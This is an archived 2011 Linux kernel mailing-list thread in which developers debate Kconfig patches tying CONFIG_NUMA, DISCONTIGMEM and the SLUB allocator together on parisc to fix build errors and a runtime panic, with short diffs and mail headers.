Date: Thu, 21 Apr 2011 14:31:29 -0700 (PDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211430280.20201@chino.kir.corp.google.com>
References: <1303317178.2587.30.camel@mulgrave.site> <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com> <20110421220351.9180.A69D9226@jp.fujitsu.com> <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com> <alpine.DEB.2.00.1104211500170.5741@router.home>
 <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303421510 3887 80.91.229.12 (21 Apr 2011 21:31:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 21:31:50 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 21 23:31:44 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QD1TT-0004qO-UO
	for glk-linux-kernel-3@lo.gmane.org; Thu, 21 Apr 2011 23:31:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755189Ab1DUVbg (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 21 Apr 2011 17:31:36 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:35616 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754564Ab1DUVbf (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 21 Apr 2011 17:31:35 -0400
Original-Received: from wpaz17.hot.corp.google.com (wpaz17.hot.corp.google.com [172.24.198.81])
	by smtp-out.google.com with ESMTP id p3LLVYMU024731
	for <linux-kernel@vger.kernel.org>; Thu, 21 Apr 2011 14:31:34 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303421494; bh=lkdHnshyS6PlrAgylcbeqOuMVf8=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=fkHxK3tcdZwwi/eT7OD+lbLq5vR75y/3bpfzsuR85WfXoNLyqPoyiH/KISS+2g/uF
	 kVSO2Vhn1ILVTRelEkSZA==
Original-Received: from pzk27 (pzk27.prod.google.com [10.243.19.155])
	by wpaz17.hot.corp.google.com with ESMTP id p3LLVU4v021615
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-kernel@vger.kernel.org>; Thu, 21 Apr 2011 14:31:33 -0700
Original-Received: by pzk27 with SMTP id 27so88494pzk.13
        for <linux-kernel@vger.kernel.org>; Thu, 21 Apr 2011 14:31:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=K6QW3uMYfMWV32ZgInYXhTbzym3bOdg0mOZDbwJfyLY=;
        b=xi3drnrkwW/iT0fFS2iJSPw/BkNC0yEtV2KYU21SmJUjp/Q+l3k8zgiuM/wKVR2kBp
         AzMrH4imoIO/zzvR9a2w==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=Sd/z8r9kp0Du+M8QllLElQ2RV8P40ajrt9kJsS1pijGsthJr7zxwPRfo2ceXR1MrEc
         5MKKfxqOBb8KFWLz9vuQ==
Original-Received: by 10.68.29.72 with SMTP id i8mr533722pbh.494.1303421492693;
        Thu, 21 Apr 2011 14:31:32 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id x9sm402269pbi.12.2011.04.21.14.31.29
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 14:31:30 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1129746 gmane.linux.ports.parisc:3650
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1129746>

From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>

CONFIG_DISCONTIGMEM requires CONFIG_NUMA because it represents its memory 
regions as individual nodes that lack remote proximity, hence it already 
has a default CONFIG_NODES_SHIFT of 3.

This configuration causes build errors, however, so fix them as well.

This was first realized when CONFIG_DISCONTIGMEM was used with 
CONFIG_SLUB which depends heavily on CONFIG_NUMA being enabled or 
disabled to support these memory regions.

A long-term fix is to separate the memory region abstraction required for 
DISCONTIGMEM away from NUMA and then build NUMA on top of it with 
proximity domains.

[rientjes@google.com: implicitly enable NUMA for DISCONTIGMEM, changelog]
Signed-off-by: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Signed-off-by: David Rientjes <rientjes@google.com>
---
 arch/parisc/Kconfig            |    3 +++
 include/asm-generic/topology.h |    4 ----
 include/linux/topology.h       |    2 +-
 3 files changed, 4 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -244,6 +244,9 @@ config ARCH_DISCONTIGMEM_DEFAULT
 	def_bool y
 	depends on ARCH_DISCONTIGMEM_ENABLE
 
+config NUMA
+	def_bool ARCH_DISCONTIGMEM_ENABLE
+
 config NODES_SHIFT
 	int
 	default "3"
diff --git a/include/asm-generic/topology.h b/include/asm-generic/topology.h
--- a/include/asm-generic/topology.h
+++ b/include/asm-generic/topology.h
@@ -27,8 +27,6 @@
 #ifndef _ASM_GENERIC_TOPOLOGY_H
 #define _ASM_GENERIC_TOPOLOGY_H
 
-#ifndef	CONFIG_NUMA
-
 /* Other architectures wishing to use this simple topology API should fill
    in the below functions as appropriate in their own <asm/topology.h> file. */
 #ifndef cpu_to_node
@@ -60,8 +58,6 @@
 				 cpumask_of_node(pcibus_to_node(bus)))
 #endif
 
-#endif	/* CONFIG_NUMA */
-
 #if !defined(CONFIG_NUMA) || !defined(CONFIG_HAVE_MEMORYLESS_NODES)
 
 #ifndef set_numa_mem
diff --git a/include/linux/topology.h b/include/linux/topology.h
--- a/include/linux/topology.h
+++ b/include/linux/topology.h
@@ -209,7 +209,7 @@ int arch_update_cpu_topology(void);
 
 #ifdef CONFIG_NUMA
 #ifndef SD_NODE_INIT
-#error Please define an appropriate SD_NODE_INIT in include/asm/topology.h!!!
+#define SD_NODE_INIT SD_ALLNODES_INIT
 #endif
 
 #endif /* CONFIG_NUMA */

From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 14:34:00 -0700 (PDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211431500.20201@chino.kir.corp.google.com>
References: <1303317178.2587.30.camel@mulgrave.site> <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com> <20110421220351.9180.A69D9226@jp.fujitsu.com> <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com> <alpine.DEB.2.00.1104211500170.5741@router.home>
 <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com> <1303421088.4025.52.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303421660 4739 80.91.229.12 (21 Apr 2011 21:34:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 21:34:20 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 23:34:12 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD1Vr-0006Zz-Vd
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 23:34:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752998Ab1DUVeL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 17:34:11 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:36789 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751557Ab1DUVeK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 17:34:10 -0400
Original-Received: from wpaz5.hot.corp.google.com (wpaz5.hot.corp.google.com [172.24.198.69])
	by smtp-out.google.com with ESMTP id p3LLY9Z5024965
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 14:34:09 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303421649; bh=LwpcP1AwwsL6Djr3hAOtPv/K3/k=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=Aq6gj67TRea+iMucy9SIsMKUyZD8/XHCUVZg9J+MiHfM3yIyOBsie6t+z/ZUC26kY
	 gxVHoibof8fmlhykKXcsg==
Original-Received: from pvg3 (pvg3.prod.google.com [10.241.210.131])
	by wpaz5.hot.corp.google.com with ESMTP id p3LLY2jO018376
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 14:34:08 -0700
Original-Received: by pvg3 with SMTP id 3so85035pvg.4
        for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 14:34:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=rb3eqytmkmZtkzNEJLds898w+0HK4ubpwZAo+JACJbs=;
        b=SfHmDs2Ts/QQ2CVSpkaoZRuRXLJ7oRLJiacfEe7e4BprfDWDa0kLrcPmKTes+uoslh
         K7pHwz5mmSH2SzKnfdqQ==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=PfmRDin8HgFcB1sg0sFTEz7PlsExQChqzBgbls6C45r8b7YtWnwv0m/j+O9sCc80j0
         CY/28YoPlOR+mPiF4XoA==
Original-Received: by 10.142.242.16 with SMTP id p16mr203447wfh.424.1303421647664;
        Thu, 21 Apr 2011 14:34:07 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id n7sm1543976pbi.2.2011.04.21.14.34.00
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 14:34:00 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <1303421088.4025.52.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3651 gmane.linux.kernel.mm:61824 gmane.linux.kernel:1129748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3651>

On Thu, 21 Apr 2011, James Bottomley wrote:

> >  - parisc: James has already queued "parisc: set memory ranges in 
> >    N_NORMAL_MEMORY when onlined" for 2.6.39, so all he needs now is 
> >    to merge a hybrid of the Kconfig changes requiring CONFIG_NUMA for 
> >    CONFIG_DISCONTIGMEM from KOSAKI-san and myself which also fix the 
> >    compile issues,
> 
> Not quite: if we go this route, we need to sort out our CPU scheduling
> problem as well ... as I said, I don't think we've got all the necessary
> numa machinery in place yet.
> 

Ok, it seems like there're two options for this release cycle:

 (1) merge the patch that enables CONFIG_NUMA for DISCONTIGMEM but only 
     do so if CONFIG_SLUB is enabled to avoid the build error, or

 (2) disallow CONFIG_SLUB for parisc with DISCONTIGMEM.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 16:49:26 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <1303422566.4025.56.camel@mulgrave.site>
References: <1303317178.2587.30.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
	 <20110421220351.9180.A69D9226@jp.fujitsu.com>
	 <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
	 <alpine.DEB.2.00.1104211500170.5741@router.home>
	 <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
	 <1303421088.4025.52.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211431500.20201@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303422580 10013 80.91.229.12 (21 Apr 2011 21:49:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 21:49:40 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 23:49:34 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD1kg-00085D-W0
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 23:49:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753425Ab1DUVta (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 17:49:30 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39001 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752874Ab1DUVt3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 17:49:29 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 17D0E8EE0F5;
	Thu, 21 Apr 2011 14:49:29 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4gR0K7VfGigI; Thu, 21 Apr 2011 14:49:29 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 02EA08EE01D;
	Thu, 21 Apr 2011 14:49:27 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104211431500.20201@chino.kir.corp.google.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3652 gmane.linux.kernel.mm:61826 gmane.linux.kernel:1129755
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3652>

On Thu, 2011-04-21 at 14:34 -0700, David Rientjes wrote:
> On Thu, 21 Apr 2011, James Bottomley wrote:
> 
> > >  - parisc: James has already queued "parisc: set memory ranges in 
> > >    N_NORMAL_MEMORY when onlined" for 2.6.39, so all he needs now is 
> > >    to merge a hybrid of the Kconfig changes requiring CONFIG_NUMA for 
> > >    CONFIG_DISCONTIGMEM from KOSAKI-san and myself which also fix the 
> > >    compile issues,
> > 
> > Not quite: if we go this route, we need to sort out our CPU scheduling
> > problem as well ... as I said, I don't think we've got all the necessary
> > numa machinery in place yet.
> > 
> 
> Ok, it seems like there're two options for this release cycle:
> 
>  (1) merge the patch that enables CONFIG_NUMA for DISCONTIGMEM but only 
>      do so if CONFIG_SLUB is enabled to avoid the build error, or

That's not an option without coming up with the rest of the numa
fixes ... we can't basically force all SMP systems to become UP.

What build error, by the way?  There's only a runtime panic caused by
slub.

>  (2) disallow CONFIG_SLUB for parisc with DISCONTIGMEM.

Well, that's this patch ... it will actually fix every architecture, not
just parisc.


> diff --git a/init/Kconfig b/init/Kconfig
> index 56240e7..a7ad8fb 100644
> --- a/init/Kconfig
> +++ b/init/Kconfig
> @@ -1226,6 +1226,7 @@ config SLAB
>           per cpu and per node queues.
>  
>  config SLUB
> +       depends on BROKEN || NUMA || !DISCONTIGMEM
>         bool "SLUB (Unqueued Allocator)"
>         help
>            SLUB is a slab allocator that minimizes cache line usage


I already sent it to linux-arch and there's been no dissent; there have
been a few "will that fix my slub bug?" type of responses.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 15:12:46 -0700 (PDT)
Lines: 59
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211505320.20201@chino.kir.corp.google.com>
References: <1303317178.2587.30.camel@mulgrave.site> <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com> <20110421220351.9180.A69D9226@jp.fujitsu.com> <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com> <alpine.DEB.2.00.1104211500170.5741@router.home>
 <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com> <1303421088.4025.52.camel@mulgrave.site> <alpine.DEB.2.00.1104211431500.20201@chino.kir.corp.google.com> <1303422566.4025.56.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303423985 18044 80.91.229.12 (21 Apr 2011 22:13:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 22:13:05 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 00:12:59 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD27N-00078C-5i
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 00:12:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755307Ab1DUWM4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 18:12:56 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:39541 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752998Ab1DUWM4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 18:12:56 -0400
Original-Received: from kpbe17.cbf.corp.google.com (kpbe17.cbf.corp.google.com [172.25.105.81])
	by smtp-out.google.com with ESMTP id p3LMCodR016065
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 15:12:50 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303423970; bh=ByRQ0kklbfLnP2p1EsTqrB7jw+Y=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=o3NlE7Rv+yUum0TGZTRQzztXPr/QUtOZa6sJw1ws7THCjpUEcsVaLG8OsNxaTKwT4
	 BqdmSa6qks6+NE5vrbKGQ==
Original-Received: from pzk9 (pzk9.prod.google.com [10.243.19.137])
	by kpbe17.cbf.corp.google.com with ESMTP id p3LMCmqN019186
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 15:12:48 -0700
Original-Received: by pzk9 with SMTP id 9so116013pzk.33
        for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 15:12:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=YsddbvvHVrl0VbasZ8HTnNq/NL+5fC7u5O0l55tx1OQ=;
        b=nK3Eut9Xa6BKsSQjNkDSLjM2qmS77zR1K87pR1xytQQGQ3sxtrI7xSatcOoZuFgo5n
         YBjB38joApVOuL04t4gg==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=AlqJiO2AJDBSHz7rTHH05B2w1a0sEJ0CNzMqrf9mq5PaZHUM2HRXYxlVG9NGd+i0R+
         DU4xjKCN5Hh9Z68Wkv8g==
Original-Received: by 10.68.49.166 with SMTP id v6mr630675pbn.322.1303423967949;
        Thu, 21 Apr 2011 15:12:47 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id w9sm1555562pbw.80.2011.04.21.15.12.46
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 15:12:46 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <1303422566.4025.56.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3653 gmane.linux.kernel.mm:61827 gmane.linux.kernel:1129770
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3653>

On Thu, 21 Apr 2011, James Bottomley wrote:

> > Ok, it seems like there're two options for this release cycle:
> > 
> >  (1) merge the patch that enables CONFIG_NUMA for DISCONTIGMEM but only 
> >      do so if CONFIG_SLUB is enabled to avoid the build error, or
> 
> That's not an option without coming up with the rest of the numa
> fixes ... we can't basically force all SMP systems to become UP.
> 
> What build error, by the way?  There's only a runtime panic caused by
> slub.
> 

If you enable CONFIG_NUMA for ARCH_DISCONTIGMEM_ENABLE on parisc, it 
results in the same build error that you identified in

	http://marc.info/?l=linux-parisc&m=130326773918005

at least on my hppa64 compiler.

> >  (2) disallow CONFIG_SLUB for parisc with DISCONTIGMEM.
> 
> Well, that's this patch ... it will actually fix every architecture, not
> just parisc.
> 
> 
> > diff --git a/init/Kconfig b/init/Kconfig
> > index 56240e7..a7ad8fb 100644
> > --- a/init/Kconfig
> > +++ b/init/Kconfig
> > @@ -1226,6 +1226,7 @@ config SLAB
> >           per cpu and per node queues.
> >  
> >  config SLUB
> > +       depends on BROKEN || NUMA || !DISCONTIGMEM
> >         bool "SLUB (Unqueued Allocator)"
> >         help
> >            SLUB is a slab allocator that minimizes cache line usage
> 
> 
> I already sent it to linux-arch and there's been no dissent; there have
> been a few "will that fix my slub bug?" type of responses.
> 

I was concerned about tile because it actually got all this right by using 
N_NORMAL_MEMORY appropriately and it uses slub by default, but it always 
enables NUMA at the moment so this won't impact it.

Acked-by: David Rientjes <rientjes@google.com>

I agree we can now defer "parisc: enable CONFIG_NUMA for DISCONTIGMEM and 
fix build errors" until parisc moves away from DISCONTIGMEM, its extracted 
away from CONFIG_NUMA, or the scheduler issues are debugged.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 15:19:01 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211517150.20201@chino.kir.corp.google.com>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com> <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com> <20110420112020.GA31296@parisc-linux.org>
 <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com> <1303308938.2587.8.camel@mulgrave.site> <alpine.DEB.2.00.1104200943580.9266@router.home> <1303311779.2587.19.camel@mulgrave.site> <alpine.DEB.2.00.1104201018360.9266@router.home>
 <alpine.DEB.2.00.1104201437180.31768@chino.kir.corp.google.com> <1303401997.4025.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303424364 20170 80.91.229.12 (21 Apr 2011 22:19:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 22:19:24 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
